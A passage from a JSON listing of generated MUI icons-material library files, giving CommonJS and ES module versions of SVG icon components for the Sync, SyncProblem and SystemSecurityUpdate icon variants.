    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 12c0 2.21.91 4.2 2.36 5.64l-1.51 1.51c-.31.31-.09.85.36.85H8.5c.28 0 .5-.22.5-.5v-4.29c0-.45-.54-.67-.85-.35l-1.39 1.39C5.68 15.15 5 13.66 5 12c0-2.39 1.4-4.46 3.43-5.42.34-.16.57-.47.57-.84v-.19c0-.68-.71-1.11-1.32-.82C4.92 5.99 3 8.77 3 12m8 5h2v-2h-2zm8.79-13H15.5c-.28 0-.5.22-.5.5v4.29c0 .45.54.67.85.35l1.39-1.39C18.32 8.85 19 10.34 19 12c0 2.39-1.4 4.46-3.43 5.42-.34.16-.57.47-.57.84v.18c0 .68.71 1.11 1.32.82C19.08 18.01 21 15.23 21 12c0-2.21-.91-4.2-2.36-5.64l1.51-1.51c.31-.31.09-.85-.36-.85M12 13c.55 0 1-.45 1-1V8c0-.55-.45-1-1-1s-1 .45-1 1v4c0 .55.45 1 1 1\"\n}), 'SyncProblemRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SyncProblemRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 12c0 2.21.91 4.2 2.36 5.64l-1.51 1.51c-.31.31-.09.85.36.85H8.5c.28 0 .5-.22.5-.5v-4.29c0-.45-.54-.67-.85-.35l-1.39 1.39C5.68 15.15 5 13.66 5 12c0-2.39 1.4-4.46 3.43-5.42.34-.16.57-.47.57-.84v-.19c0-.68-.71-1.11-1.32-.82C4.92 5.99 3 8.77 3 12m8 5h2v-2h-2zm8.79-13H15.5c-.28 0-.5.22-.5.5v4.29c0 .45.54.67.85.35l1.39-1.39C18.32 8.85 19 10.34 19 12c0 2.39-1.4 4.46-3.43 5.42-.34.16-.57.47-.57.84v.18c0 .68.71 1.11 1.32.82C19.08 18.01 21 15.23 21 12c0-2.21-.91-4.2-2.36-5.64l1.51-1.51c.31-.31.09-.85-.36-.85M12 13c.55 0 1-.45 1-1V8c0-.55-.45-1-1-1s-1 .45-1 1v4c0 .55.45 1 1 1\"\n}), 'SyncProblemRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SyncProblemSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 12c0 2.21.91 4.2 2.36 5.64L3 20h6v-6l-2.24 2.24C5.68 15.15 5 13.66 5 12c0-2.61 1.67-4.83 4-5.65V4.26C5.55 5.15 3 8.27 3 12m8 5h2v-2h-2zM21 4h-6v6l2.24-2.24C18.32 8.85 19 10.34 19 12c0 2.61-1.67 4.83-4 5.65v2.09c3.45-.89 6-4.01 6-7.74 0-2.21-.91-4.2-2.36-5.64zm-10 9h2V7h-2z\"\n}), 'SyncProblemSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SyncProblemSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 12c0 2.21.91 4.2 2.36 5.64L3 20h6v-6l-2.24 2.24C5.68 15.15 5 13.66 5 12c0-2.61 1.67-4.83 4-5.65V4.26C5.55 5.15 3 8.27 3 12m8 5h2v-2h-2zM21 4h-6v6l2.24-2.24C18.32 8.85 19 10.34 19 12c0 2.61-1.67 4.83-4 5.65v2.09c3.45-.89 6-4.01 6-7.74 0-2.21-.91-4.2-2.36-5.64zm-10 9h2V7h-2z\"\n}), 'SyncProblemSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SyncProblemTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 12c0 2.21.91 4.2 2.36 5.64L3 20h6v-6l-2.24 2.24C5.68 15.15 5 13.66 5 12c0-2.61 1.67-4.83 4-5.65V4.26C5.55 5.15 3 8.27 3 12m8 5h2v-2h-2zM21 4h-6v6l2.24-2.24C18.32 8.85 19 10.34 19 12c0 2.61-1.67 4.83-4 5.65v2.09c3.45-.89 6-4.01 6-7.74 0-2.21-.91-4.2-2.36-5.64zm-10 9h2V7h-2z\"\n}), 'SyncProblemTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SyncProblemTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 12c0 2.21.91 4.2 2.36 5.64L3 20h6v-6l-2.24 2.24C5.68 15.15 5 13.66 5 12c0-2.61 1.67-4.83 4-5.65V4.26C5.55 5.15 3 8.27 3 12m8 5h2v-2h-2zM21 4h-6v6l2.24-2.24C18.32 8.85 19 10.34 19 12c0 2.61-1.67 4.83-4 5.65v2.09c3.45-.89 6-4.01 6-7.74 0-2.21-.91-4.2-2.36-5.64zm-10 9h2V7h-2z\"\n}), 'SyncProblemTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SyncRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4V2.21c0-.45-.54-.67-.85-.35l-2.8 2.79c-.2.2-.2.51 0 .71l2.79 2.79c.32.31.86.09.86-.36V6c3.31 0 6 2.69 6 6 0 .79-.15 1.56-.44 2.25-.15.36-.04.77.23 1.04.51.51 1.37.33 1.64-.34.37-.91.57-1.91.57-2.95 0-4.42-3.58-8-8-8m0 14c-3.31 0-6-2.69-6-6 0-.79.15-1.56.44-2.25.15-.36.04-.77-.23-1.04-.51-.51-1.37-.33-1.64.34C4.2 9.96 4 10.96 4 12c0 4.42 3.58 8 8 8v1.79c0 .45.54.67.85.35l2.79-2.79c.2-.2.2-.51 0-.71l-2.79-2.79c-.31-.31-.85-.09-.85.36z\"\n}), 'SyncRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SyncRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4V2.21c0-.45-.54-.67-.85-.35l-2.8 2.79c-.2.2-.2.51 0 .71l2.79 2.79c.32.31.86.09.86-.36V6c3.31 0 6 2.69 6 6 0 .79-.15 1.56-.44 2.25-.15.36-.04.77.23 1.04.51.51 1.37.33 1.64-.34.37-.91.57-1.91.57-2.95 0-4.42-3.58-8-8-8m0 14c-3.31 0-6-2.69-6-6 0-.79.15-1.56.44-2.25.15-.36.04-.77-.23-1.04-.51-.51-1.37-.33-1.64.34C4.2 9.96 4 10.96 4 12c0 4.42 3.58 8 8 8v1.79c0 .45.54.67.85.35l2.79-2.79c.2-.2.2-.51 0-.71l-2.79-2.79c-.31-.31-.85-.09-.85.36z\"\n}), 'SyncRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SyncSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4V1L8 5l4 4V6c3.31 0 6 2.69 6 6 0 1.01-.25 1.97-.7 2.8l1.46 1.46C19.54 15.03 20 13.57 20 12c0-4.42-3.58-8-8-8m0 14c-3.31 0-6-2.69-6-6 0-1.01.25-1.97.7-2.8L5.24 7.74C4.46 8.97 4 10.43 4 12c0 4.42 3.58 8 8 8v3l4-4-4-4z\"\n}), 'SyncSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SyncSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4V1L8 5l4 4V6c3.31 0 6 2.69 6 6 0 1.01-.25 1.97-.7 2.8l1.46 1.46C19.54 15.03 20 13.57 20 12c0-4.42-3.58-8-8-8m0 14c-3.31 0-6-2.69-6-6 0-1.01.25-1.97.7-2.8L5.24 7.74C4.46 8.97 4 10.43 4 12c0 4.42 3.58 8 8 8v3l4-4-4-4z\"\n}), 'SyncSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SyncTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.01 4V1l-4 4 4 4V6c3.31 0 6 2.69 6 6 0 1.01-.25 1.97-.7 2.8l1.46 1.46c.78-1.23 1.24-2.69 1.24-4.26 0-4.42-3.58-8-8-8m0 14c-3.31 0-6-2.69-6-6 0-1.01.25-1.97.7-2.8L5.25 7.74C4.47 8.97 4.01 10.43 4.01 12c0 4.42 3.58 8 8 8v3l4-4-4-4z\"\n}), 'SyncTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SyncTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.01 4V1l-4 4 4 4V6c3.31 0 6 2.69 6 6 0 1.01-.25 1.97-.7 2.8l1.46 1.46c.78-1.23 1.24-2.69 1.24-4.26 0-4.42-3.58-8-8-8m0 14c-3.31 0-6-2.69-6-6 0-1.01.25-1.97.7-2.8L5.25 7.74C4.47 8.97 4.01 10.43 4.01 12c0 4.42 3.58 8 8 8v3l4-4-4-4z\"\n}), 'SyncTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SystemSecurityUpdate.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 3v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2H7c-1.1 0-2 .9-2 2m12 15H7V6h10zm-1-6h-3V8h-2v4H8l4 4z\"\n}), 'SystemSecurityUpdate');"
  },
  {
    "path": "packages/mui-icons-material/lib/SystemSecurityUpdate.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 3v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2H7c-1.1 0-2 .9-2 2m12 15H7V6h10zm-1-6h-3V8h-2v4H8l4 4z\"\n}), 'SystemSecurityUpdate');"
  },
  {
    "path": "packages/mui-icons-material/lib/SystemSecurityUpdateGood.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 1H7c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m0 17H7V6h10zm-1-7.95-1.41-1.41-3.54 3.54-1.41-1.41-1.41 1.41L11.05 15z\"\n}), 'SystemSecurityUpdateGood');"
  },
  {
    "path": "packages/mui-icons-material/lib/SystemSecurityUpdateGood.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 1H7c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m0 17H7V6h10zm-1-7.95-1.41-1.41-3.54 3.54-1.41-1.41-1.41 1.41L11.05 15z\"\n}), 'SystemSecurityUpdateGood');"
  },
  {
    "path": "packages/mui-icons-material/lib/SystemSecurityUpdateGoodOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 1.01 7 1c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-1.99-2-1.99M17 21H7v-1h10zm0-3H7V6h10zm0-14H7V3h10zm-1 6.05-1.41-1.41-3.54 3.54-1.41-1.41-1.41 1.41L11.05 15z\"\n}), 'SystemSecurityUpdateGoodOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SystemSecurityUpdateGoodOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 1.01 7 1c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-1.99-2-1.99M17 21H7v-1h10zm0-3H7V6h10zm0-14H7V3h10zm-1 6.05-1.41-1.41-3.54 3.54-1.41-1.41-1.41 1.41L11.05 15z\"\n}), 'SystemSecurityUpdateGoodOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SystemSecurityUpdateGoodRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 1.01 7 1c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-1.99-2-1.99M17 18H7V6h10zm-6.66-3.71c.39.39 1.02.39 1.41 0l3.54-3.54c.39-.39.39-1.02 0-1.41a.996.996 0 0 0-1.41 0l-2.83 2.83-.71-.71a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41z\"\n}), 'SystemSecurityUpdateGoodRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SystemSecurityUpdateGoodRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 1.01 7 1c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-1.99-2-1.99M17 18H7V6h10zm-6.66-3.71c.39.39 1.02.39 1.41 0l3.54-3.54c.39-.39.39-1.02 0-1.41a.996.996 0 0 0-1.41 0l-2.83 2.83-.71-.71a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41z\"\n}), 'SystemSecurityUpdateGoodRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SystemSecurityUpdateGoodSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 1v22h14V1zm12 17H7V6h10zm-1-7.95-1.41-1.41-3.54 3.54-1.41-1.41-1.41 1.41L11.05 15z\"\n}), 'SystemSecurityUpdateGoodSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SystemSecurityUpdateGoodSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 1v22h14V1zm12 17H7V6h10zm-1-7.95-1.41-1.41-3.54 3.54-1.41-1.41-1.41 1.41L11.05 15z\"\n}), 'SystemSecurityUpdateGoodSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SystemSecurityUpdateGoodTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 21h10v-1H7zM7 3v1h10V3z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 1.01 7 1c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-1.99-2-1.99M17 21H7v-1h10zm0-3H7V6h10zm0-14H7V3h10zm-1 6.05-1.41-1.41-3.54 3.54-1.41-1.41-1.41 1.41L11.05 15z\"\n}, \"1\")], 'SystemSecurityUpdateGoodTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SystemSecurityUpdateGoodTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 21h10v-1H7zM7 3v1h10V3z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 1.01 7 1c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-1.99-2-1.99M17 21H7v-1h10zm0-3H7V6h10zm0-14H7V3h10zm-1 6.05-1.41-1.41-3.54 3.54-1.41-1.41-1.41 1.41L11.05 15z\"\n}, \"1\")], 'SystemSecurityUpdateGoodTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SystemSecurityUpdateOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 1.01 7 1c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-1.99-2-1.99M17 21H7v-1h10zm0-3H7V6h10zM7 4V3h10v1zm9 8-4 4-4-4 1.41-1.41L11 12.17V8h2v4.17l1.59-1.59z\"\n}), 'SystemSecurityUpdateOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SystemSecurityUpdateOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 1.01 7 1c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-1.99-2-1.99M17 21H7v-1h10zm0-3H7V6h10zM7 4V3h10v1zm9 8-4 4-4-4 1.41-1.41L11 12.17V8h2v4.17l1.59-1.59z\"\n}), 'SystemSecurityUpdateOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SystemSecurityUpdateRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 1.01 7 1c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-1.99-2-1.99M17 18H7V6h10zm-2.21-5.79H13V9c0-.55-.45-1-1-1s-1 .45-1 1v3.21H9.21c-.45 0-.67.54-.35.85l2.79 2.79c.2.2.51.2.71 0l2.79-2.79c.31-.31.09-.85-.36-.85\"\n}), 'SystemSecurityUpdateRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SystemSecurityUpdateRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 1.01 7 1c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-1.99-2-1.99M17 18H7V6h10zm-2.21-5.79H13V9c0-.55-.45-1-1-1s-1 .45-1 1v3.21H9.21c-.45 0-.67.54-.35.85l2.79 2.79c.2.2.51.2.71 0l2.79-2.79c.31-.31.09-.85-.36-.85\"\n}), 'SystemSecurityUpdateRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SystemSecurityUpdateSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 1v22h14V1zm12 17H7V6h10zm-1-6h-3V8h-2v4H8l4 4z\"\n}), 'SystemSecurityUpdateSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SystemSecurityUpdateSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 1v22h14V1zm12 17H7V6h10zm-1-6h-3V8h-2v4H8l4 4z\"\n}), 'SystemSecurityUpdateSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SystemSecurityUpdateTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 20h10v1H7zM7 3h10v1H7z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 1.01 7 1c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-1.99-2-1.99M17 21H7v-1h10zm0-3H7V6h10zm0-14H7V3h10zm-1 8h-3V8h-2v4H8l4 4z\"\n}, \"1\")], 'SystemSecurityUpdateTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SystemSecurityUpdateTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 20h10v1H7zM7 3h10v1H7z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 1.01 7 1c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-1.99-2-1.99M17 21H7v-1h10zm0-3H7V6h10zm0-14H7V3h10zm-1 8h-3V8h-2v4H8l4 4z\"\n}, \"1\")], 'SystemSecurityUpdateTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SystemSecurityUpdateWarning.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 15h2v2h-2zm0-8h2v6h-2z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 1H7c-1.1 0-1.99.9-1.99 2v18c0 1.1.89 2 1.99 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m0 17H7V6h10z\"\n}, \"1\")], 'SystemSecurityUpdateWarning');"
  },
  {
    "path": "packages/mui-icons-material/lib/SystemSecurityUpdateWarning.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 15h2v2h-2zm0-8h2v6h-2z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 1H7c-1.1 0-1.99.9-1.99 2v18c0 1.1.89 2 1.99 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m0 17H7V6h10z\"\n}, \"1\")], 'SystemSecurityUpdateWarning');"
  },
  {
